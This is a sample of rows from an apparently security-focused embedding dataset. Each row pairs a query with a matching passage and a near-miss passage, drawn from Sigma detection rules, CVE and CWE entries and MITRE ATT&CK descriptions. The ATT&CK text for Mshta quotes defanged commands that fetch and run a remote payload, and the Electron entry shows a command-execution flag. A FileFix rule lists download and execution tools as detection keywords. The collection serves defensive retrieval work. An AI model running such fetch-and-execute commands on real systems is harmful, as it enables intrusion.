alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: detection rule: Detects instances where an email, identified as malicious or suspicious by the Microsoft Defender for Office 365 (former
Matching passage: Sigma rule: Detects instances where an email, identified as malicious or suspicious by the Microsoft Defender for Office 365 (former. Logsource: m365 / audit. Rule: title: Suspicious Email Delivered In Microsoft 365 id: 3569aefd-e535-4391-8c18-24bd01a21eaf status: experimental description: 'Detects instances where an email, identified as malicious or suspicious by the Microsoft Defender for Office 365 (formerly ATP) engine, was delivered to a user''s Inbox or Junk folder. It might indicate that a potential threat, such as a spearphishing attachment or links, has bypassed initial blocking mechanisms and reached an end-user, requiring further investigation and potential remediation. ' references: - https://learn.microsoft.com/en-us/defender-office-365/threat-explorer-real-time-detections-about - https://research.splunk.com/cloud/605cc93a-70e4-4ee3-9a3d-1a62e8c9b6c2/ - https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules/blob/e7250648cb16d4a497ae8737943bf010ea96d2e6/Defender%20For%20Cloud%20Apps/MaliciousEmailDeliveredInMailbox.md author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber) date: 2026-01-27 tags: - attack.initial-access - attack.t1566.001 - attack.t1566.002 logsource: service: audit product: m365 detection: selection: Workload: ThreatIntelligence Operation: TIMailData Directionality: Inbound filter_main_blocked: DeliveryAction: Blocked condition: selection and not 1 of filter_main_* falsepositives: - Unlikely level: medium
Near-miss passage: Sigma rule: Detects command line parameters used by Koadic hack tool. Logsource: windows / process_creation. Rule: title: HackTool - Koadic Execution id: 5cddf373-ef00-4112-ad72-960ac29bac34 status: test description: Detects command line parameters used by Koadic hack tool references: - https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/ - https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js - https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/ author: wagga, Jonhnathan Ribeiro, oscd.community date: 2020-01-12 modified: 2023-02-11 tags: - attack.execution - attack.t1059.003 - attack.t1059.005 - attack.t1059.007 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \cmd.exe - OriginalFileName: Cmd.Exe selection_cli: CommandLine|contains|all: - /q - /c - chcp condition: all of selection_* falsepositives: - Unknown level: high
Query: describe CVE-2015-3770
Matching passage: CVE-2015-3770. CWE: CWE-119. CVSS: 9.300000190734863. IOGraphics in Apple OS X before 10.10.5 allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2015-5783.
Near-miss passage: CVE-2015-5934. CWE: CWE-119. CVSS: 6.800000190734863. Audio in Apple OS X before 10.11.1 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted audio file, a different vulnerability than CVE-2015-5933.
Query: vulnerability: Cross-site scripting (XSS) vulnerability in rakuto.net hitSuji (rktSNS2) 0.2.2b allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Matching passage: CVE-2015-2986. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in rakuto.net hitSuji (rktSNS2) 0.2.2b allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-4384. CWE: CWE-79. CVSS: 3.5. Cross-site scripting (XSS) vulnerability in the Ubercart Webform Checkout Pane module 6.x-3.x before 6.x-3.10 and 7.x-3.x before 7.x-3.11 for Drupal allows remote authenticated users with certain permissions to inject arbitrary web script or HTML via unspecified vectors.
Query: patch priority for CVE-2015-0980
Matching passage: CVE-2015-0980. CWE: CWE-20. CVSS: 9.0. Format string vulnerability in BACnOPCServer.exe in the SOAP web interface in SCADA Engine BACnet OPC Server before 2.1.371.24 allows remote attackers to execute arbitrary code via format string specifiers in a request.
Near-miss passage: CVE-2015-8739. CWE: CWE-20. CVSS: 5.5. The ipmi_fmt_udpport function in epan/dissectors/packet-ipmi.c in the IPMI dissector in Wireshark 2.0.x before 2.0.1 improperly attempts to access a packet scope, which allows remote attackers to cause a denial of service (assertion failure and application exit) via a crafted packet.
Query: CVE similar to CVE-2015-2843
Matching passage: CVE-2015-2843. CWE: CWE-89. CVSS: 7.5. Multiple SQL injection vulnerabilities in GoAutoDial GoAdmin CE before 3.3-1421902800 allow remote attackers to execute arbitrary SQL commands via the (1) user_name or (2) user_pass parameter in go_login.php or the PATH_INFO to (3) go_login/validate_credentials/admin/ or (4) index.php/go_site/go_get_user_info/.
Near-miss passage: CVE-2015-3616. CWE: CWE-89. CVSS: 9.800000190734863. SQL injection vulnerability in Fortinet FortiManager 5.0.x before 5.0.11, 5.2.x before 5.2.2 allows remote attackers to execute arbitrary commands via unspecified parameters.
Query: rule covering Detects RemCom service installation and execution events
Matching passage: Sigma rule: Detects RemCom service installation and execution events. Logsource: windows / system. Rule: title: RemCom Service Installation id: 9e36ed87-4986-482e-8e3b-5c23ffff11bf status: test description: Detects RemCom service installation and execution events references: - https://github.com/kavika13/RemCom/ author: Nasreddine Bencherchali (Nextron Systems) date: 2023-08-07 tags: - attack.execution - attack.t1569.002 logsource: product: windows service: system detection: selection_eid: Provider_Name: Service Control Manager EventID: 7045 selection_service: - ServiceName: RemComSvc - ImagePath|endswith: \RemComSvc.exe condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects commonly-used chained commands and strings in the most recent 'url' value of the 'TypedPaths' key, which could b. Logsource: windows / registry_set. Rule: title: FileFix - Command Evidence in TypedPaths id: 4fee3d51-8069-4a4c-a0f7-924fcaff2c70 related: - id: 4be03877-d5b6-4520-85c9-a5911c0a656c type: similar status: experimental description: 'Detects commonly-used chained commands and strings in the most recent ''url'' value of the ''TypedPaths'' key, which could be indicative of a user being targeted by the FileFix technique. ' references: - https://x.com/russianpanda9xx/status/1940831134759506029 - https://mrd0x.com/filefix-clickfix-alternative/ - https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/ author: Alfie Champion (delivr.to), Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-07-05 modified: 2025-11-19 tags: - attack.execution - attack.t1204.004 logsource: category: registry_set product: windows detection: selection_base: TargetObject|endswith: \Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths\url1 Details|contains|all: - '#' - http selection_cmd: - Details|contains: - account - anti-bot - botcheck - captcha - challenge - confirmation - fraud - human - identification - identificator - identity - robot - validation - verification - verify - Details|contains: - '%comspec%' - bitsadmin - certutil - cmd - cscript - curl - finger - mshta - powershell - pwsh - regsvr32 - rundll32 - schtasks - wget - wscript condition: all of selection_* falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-8460
Matching passage: CVE-2015-8460. CWE: CWE-119. CVSS: 8.800000190734863. Adobe Flash Player before 18.0.0.324 and 19.x and 20.x before 20.0.0.267 on Windows and OS X and before 11.2.202.559 on Linux, Adobe AIR before 20.0.0.233, Adobe AIR SDK before 20.0.0.233, and Adobe AIR SDK & Compiler before 20.0.0.233 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-8459, CVE-2015-8636, and CVE-2015-8645.
Near-miss passage: CVE-2015-6146. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 7 and 8 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-6145.
Query: explain CWE-1434
Matching passage: CWE-1434 Insecure Setting of Generative AI/ML Model Inference Parameters. The product has a component that relies on a generative AI/ML model configured with inference parameters that produce an unacceptably high rate of erroneous or unexpected outputs.
Near-miss passage: CWE-148 Improper Neutralization of Input Leaders. The product does not properly handle when a leading character or sequence (leader) is missing or malformed, or if multiple leaders are used when only one should be allowed.
Query: exploit Securifi Almond devices with firmware before AL1-R201EXP10-L304-W34 and Almond-2015 devices with firmware before AL2-R088M use a linear algorithm for selecting the ID value in the 
Matching passage: CVE-2015-7296. CWE: UNKNOWN. CVSS: 4.300000190734863. Securifi Almond devices with firmware before AL1-R201EXP10-L304-W34 and Almond-2015 devices with firmware before AL2-R088M use a linear algorithm for selecting the ID value in the header of a DNS query performed on behalf of the device itself, which makes it easier for remote attackers to spoof responses by including this ID value, as demonstrated by a response containing the address of the firmware update server, a different vulnerability than CVE-2015-2914.
Near-miss passage: CVE-2015-0457. CWE: UNKNOWN. CVSS: 9.0. Unspecified vulnerability in the Java VM component in Oracle Database Server 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1, and 12.1.0.2 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors, a different vulnerability than CVE-2015-2629.
Query: Sigma rule for Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade pare
Matching passage: Sigma rule: Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade pare. Logsource: windows / process_creation. Rule: title: WSL Child Process Anomaly id: 2267fe65-0681-42ad-9a6d-46553d3f3480 related: - id: dec44ca7-61ad-493c-bfd7-8819c5faa09b type: derived status: test description: Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL references: - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/ - https://twitter.com/nas_bench/status/1535431474429808642 author: Nasreddine Bencherchali (Nextron Systems) date: 2023-01-23 modified: 2023-08-15 tags: - attack.execution - attack.stealth - attack.t1218 - attack.t1202 logsource: category: process_creation product: windows detection: selection_parent: ParentImage|endswith: - \wsl.exe - \wslhost.exe selection_children_images: Image|endswith: - \calc.exe - \cmd.exe - \cscript.exe - \mshta.exe - \powershell.exe - \pwsh.exe - \regsvr32.exe - \rundll32.exe - \wscript.exe selection_children_paths: Image|contains: - \AppData\Local\Temp\ - C:\Users\Public\ - C:\Windows\Temp\ - C:\Temp\ - \Downloads\ - \Desktop\ condition: selection_parent and 1 of selection_children_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by S. Logsource: windows / file_event. Rule: title: Suspicious PROCEXP152.sys File Created In TMP id: 3da70954-0f2c-4103-adff-b7440368f50e status: test description: 'Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU. ' references: - https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/ author: xknow (@xknow_infosec), xorxes (@xor_xes) date: 2019-04-08 modified: 2026-06-29 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows category: file_event detection: selection: TargetFilename|contains: \AppData\Local\Temp\ TargetFilename|endswith: PROCEXP152.sys filter: Image|contains: - \procexp64.exe - \procexp64a.exe - \procexp.exe - \procmon64.exe - \procmon64a.exe - \procmon.exe condition: selection and not filter falsepositives: - Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it. level: medium
Query: vulnerability: In Garden versions 0.22.0-0.329.0, a vulnerability has been discovered in the garden-linux nstar executable that allows access to files on the host system. By staging an applicatio
Matching passage: CVE-2015-5350. CWE: CWE-284. CVSS: 7.5. In Garden versions 0.22.0-0.329.0, a vulnerability has been discovered in the garden-linux nstar executable that allows access to files on the host system. By staging an application on Cloud Foundry using Diego and Garden installations with a malicious custom buildpack an end user could read files on the host system that the BOSH-created vcap user has permissions to read and then package them into their app droplet.
Near-miss passage: CVE-2015-6867. CWE: CWE-284. CVSS: 7.5. The vertica-udx-zygote process in HP Vertica 7.1.1 UDx does not require authentication, which allows remote attackers to execute arbitrary commands via a crafted packet, aka ZDI-CAN-2914.
Query: how to detect Trap
Matching passage: T1546.005 Trap. Tactics: privilege escalation, persistence. Description: Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
Near-miss passage: T1546.015 Component Object Model Hijacking. Tactics: privilege escalation, persistence. Description: Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.
Query: detection rule: Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Conv
Matching passage: Sigma rule: Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Conv. Logsource: windows / process_creation. Rule: title: Visual Basic Command Line Compiler Usage id: 7b10f171-7f04-47c7-9fa2-5be43c76e535 status: test description: Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter. references: - https://lolbas-project.github.io/lolbas/Binaries/Vbc/ author: Ensar Şamil, @sblmsrsn, @oscd_initiative date: 2020-10-07 modified: 2021-11-27 tags: - attack.stealth - attack.t1027.004 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \vbc.exe Image|endswith: \cvtres.exe condition: selection falsepositives: - Utilization of this tool should not be seen in enterprise environment level: high
Near-miss passage: Sigma rule: Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channel. Logsource: firewall. Rule: title: Cleartext Protocol Usage id: d7fb8f0e-bd5f-45c2-b467-19571c490d7e status: stable description: 'Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access. ' references: - https://www.cisecurity.org/controls/cis-controls-list/ - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf author: Alexandr Yampolskyi, SOC Prime, Tim Shelton date: 2019-03-26 modified: 2022-10-10 tags: - attack.credential-access logsource: category: firewall detection: selection: dst_port: - 8080 - 21 - 80 - 23 - 50000 - 1521 - 27017 - 3306 - 1433 - 11211 - 15672 - 5900 - 5901 - 5902 - 5903 - 5904 selection_allow1: action: - forward - accept - 2 selection_allow2: blocked: 'false' condition: selection and 1 of selection_allow* falsepositives: - Unknown level: low
Query: Sigma YAML for azure / auditlogs
Matching passage: Sigma rule: Monitor and alert for changes to the device registration policy.. Logsource: azure / auditlogs. Rule: title: Changes to Device Registration Policy id: 9494bff8-959f-4440-bbce-fb87a208d517 status: test description: Monitor and alert for changes to the device registration policy. references: - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy author: Michael Epping, '@mepples21' date: 2022-06-28 tags: - attack.privilege-escalation - attack.defense-impairment - attack.t1484 logsource: product: azure service: auditlogs detection: selection: Category: Policy ActivityDisplayName: Set device registration policies condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: An attacker can use the SID history attribute to gain additional privileges.. Logsource: windows / security. Rule: title: Addition of SID History to Active Directory Object id: 2632954e-db1c-49cb-9936-67d1ef1d17d2 status: stable description: An attacker can use the SID history attribute to gain additional privileges. references: - https://adsecurity.org/?p=1772 author: Thomas Patzke, @atc_project (improvements) date: 2017-02-19 tags: - attack.persistence - attack.privilege-escalation - attack.stealth - attack.t1134.005 logsource: product: windows service: security detection: selection1: EventID: - 4765 - 4766 selection2: EventID: 4738 selection3: SidHistory: - '-' - '%%1793' filter_null: SidHistory: null condition: selection1 or (selection2 and not selection3 and not filter_null) falsepositives: - Migration of an account into a new domain level: medium
Query: exploit Unspecified vulnerability in Oracle MySQL Server 5.5.43 and earlier and 5.6.23 and earlier allows remote authenticated users to affect confidentiality via unknown vectors related t
Matching passage: CVE-2015-2620. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in Oracle MySQL Server 5.5.43 and earlier and 5.6.23 and earlier allows remote authenticated users to affect confidentiality via unknown vectors related to Server : Security : Privileges.
Near-miss passage: CVE-2015-5442. CWE: UNKNOWN. CVSS: 4.599999904632568. Unspecified vulnerability in HP Software Update before 5.005.002.002 allows local users to gain privileges via unknown vectors.
Query: detect Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.015 Electron Applications. Tactics: stealth. Description: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)